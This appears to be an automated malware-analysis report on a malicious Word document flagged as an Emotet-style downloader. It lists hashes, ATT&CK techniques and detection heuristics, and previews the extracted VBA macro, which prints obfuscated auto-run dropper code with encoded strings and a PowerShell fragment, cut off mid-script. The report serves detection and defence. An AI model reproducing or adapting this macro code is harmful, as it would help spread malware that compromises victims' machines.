Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 06cfe12187472874…

MALICIOUS

Office (OLE)

162.0 KB Created: 2018-03-27 18:37:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 0e3fa27d60240d53910ed0197b1455f8 SHA-1: 4f466fe35c8869c2a9bfca4ce9ca6f22fef6f2cc SHA-256: 06cfe12187472874a0350deee033885620236122b35f660039e3e73aa6071928
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Decode Files or Information T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes CreateObject and an AutoOpen function, indicating it's designed to execute automatically upon opening. The heuristic 'SE_PASSWORD_ARCHIVE_LURE' suggests the document may instruct the user to open a password-protected archive, a common tactic to bypass gateway scanning. The macro also contains obfuscated strings that likely form a URL for downloading a second-stage payload, as indicated by the 'CLAMAV_DETECTION' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50742 bytes
SHA-256: ddfeb79b640ab48856f835be504fc4aefa2324b698674a9b4bff44cf5351e5ae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 17 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MIVtiLo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "XKDLFQhXu"
Function lKkbbIENNFGiio()
On Error Resume Next
Select Case unDkV
      Case 74151
         JziQi = CStr(mIssP + CStr(870) - TBHBM * 94140)
      Case 89027
         TWzwjA = orkpA
         PCSPmI = Tan(98343 * kOMpv)
End Select
EUhDrwDuVK = cWjwUV("pXrwkmAGUAMwBlADEAMwBkADMANAA5ADQAYwBjADOJz8", 6, 35)
Select Case sfCYYs
      Case 9672
         ahRBDa = CStr(AHazh + CStr(6804) - plZovi * 67196)
      Case 15948
         JlJSJp = QIhZc
         zkFYzj = Tan(12723 * pNnuqQ)
End Select
Select Case zUXGv
      Case 53595
         YUKLAj = CStr(EilPKt + CStr(89144) - bmjumi * 95017)
      Case 38189
         wLYcp = UwfaXU
         MjLncA = Tan(88601 * ASTztk)
End Select
OLZqT = cWjwUV("YOW5AwADMANwA4ADkANAAxADYA'|coNVeRtTo-securESTRinG -k (234..219))) ) )|& ( $PShOmE[21]+$pshOme[30]+qD", 5, 95)
Select Case BpLaA
      Case 77728
         pIVPA = CStr(TfTXf + CStr(85272) - zjwCzZ * 86698)
      Case 95914
         Edvtuv = OwUuzt
         SNAdJ = Tan(40727 * wUBKcR)
End Select
Select Case GhFvDq
      Case 95542
         zmzrzs = CStr(okmPnw + CStr(86743) - rTVBs * 80614)
      Case 91675
         rErTC = YcnOq
         JjiYM = Tan(1627 * OVBLv)
End Select
imQKHGPYYrm = cWjwUV(",XoMBhAGEAZQAxADUAZQBlADYAYwA0ADIANgBhAGIAOABiADUAOQBjADgAZgA1AGEANQA2ADcAYQBjADMAOQAyADMAOQBmADcANwBjAGEAMwBkADYAYgBhADIA1EN", 5, 118)
Select Case iNcip
      Case 10851
         BYHmI = CStr(qiLJc + CStr(48529) - mtIlw * 78419)
      Case 83076
         jsqswG = rwtwI
         ElbvPn = Tan(20678 * DLZmo)
End Select
Select Case wCWod
      Case 65097
         rpkWlp = CStr(JMFCwM + CStr(35114) - GKOzjN * 46101)
      Case 58180
         OwLtbC = aQuGB
         dCPzV = Tan(84608 * FhKoG)
End Select
OjZmGIEI = cWjwUV("TwlKnZgA0ADgAYQBmADMAMwA5ADUANAA2ADAAMAA3AGIAYgA0PzG", 6, 44)
Select Case LZjBZT
      Case 22409
         HmitiJ = CStr(bhRLqr + CStr(62565) - ijsfZ * 65855)
      Case 62571
         Wmfqmu = UmpSV
         lGmiM = Tan(57054 * tcQEfN)
End Select
Select Case ViHHzw
      Case 82968
         wqJvz = CStr(IfuzN + CStr(32718) - IIbMJ * 74266)
      Case 55453
         KEkiT = HRBvF
         ffQVn = Tan(46645 * RQaQSB)
End Select
WwnawdG = cWjwUV("qQAMQA4AGIAMABhADMAOAA1AGEAMwA1ADcAZAA1ADUAYwA4AGEAMgA2AGQAMQA0AGEAOAA4ADIANgAzAGMAMgBjADkAZgBkAGMANQAyAGIAZABmADgAZAA4AGMAZAA2ADYAMAAyAGIAMgAxAGEAMAA3AGIAMgBlADAAMgAxADQAMABjADYANwAxAGMAMQAwAGRUqndo", 2, 192)
Select Case Mafup
      Case 23231
         klmZN = CStr(GAOsDI + CStr(90705) - drFZlp * 21164)
      Case 8506
         nRjFth = GGsHvt
         varrQB = Tan(65239 * KGjii)
End Select
Select Case XtjWFd
      Case 36731
         fFKMHi = CStr(iuNrw + CStr(90278) - rFmmNb * 57173)
      Case 9446
         UBjWFl = RhGNzt
         pzYqp = Tan(47137 * DwomBd)
End Select
ZrsGbnFw = cWjwUV(".5FqhADAAYQA5AGQAYgA0AGUAMwBmAGMAOAA3ADMAZgBmADQAMwA2AGUANQAwAGQAYQBhAGYAYwBmADIANAA4AGQAYwBiADIAMQBiADUAOQBiADkAMwA3AGEAMAAzADQAYwA1AGYANwBlADgANgA5ADEAMABiAGIAYwA2AGYAMQA3ADQANABmAGEAZAA0ADcAOvdO", 5, 190)
Select Case TQrSaJ
      Case 80226
         XHGtz = CStr(Kqhnzq + CStr(94697) - okojJR * 9038)
      Case 90554
         EHLwQO = WkYicR
         vZqsGG = Tan(97145 * mmhbG)
End Select
Select Case kWaaT
      Case 41436
         KzEtk = CStr(fpCAQ + CStr(23390) - hqULt * 23469)
      Case 92258
         MDZNao = QGZoS
         qSKnUQ = Tan(83605 * aQdzWk)
End Select
TzDjFYWwZj = cWjwUV("u6JtiokgBf3", 8, 2)
Select Case BOjHZK
      Case 96911
         fjKNfZ = CStr(bctZqX + CStr(19516) - ZvEvl * 74593)
      Case 93028
         EEGOr = hsXsWf
         JCMYi = Tan(79640 * DwtWr)
End Select
Select Case BEJfp
      Case 82492
         NOOJc = CStr(EuPYBJ + CStr(75107) - szYYN * 60592)
      Cas
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.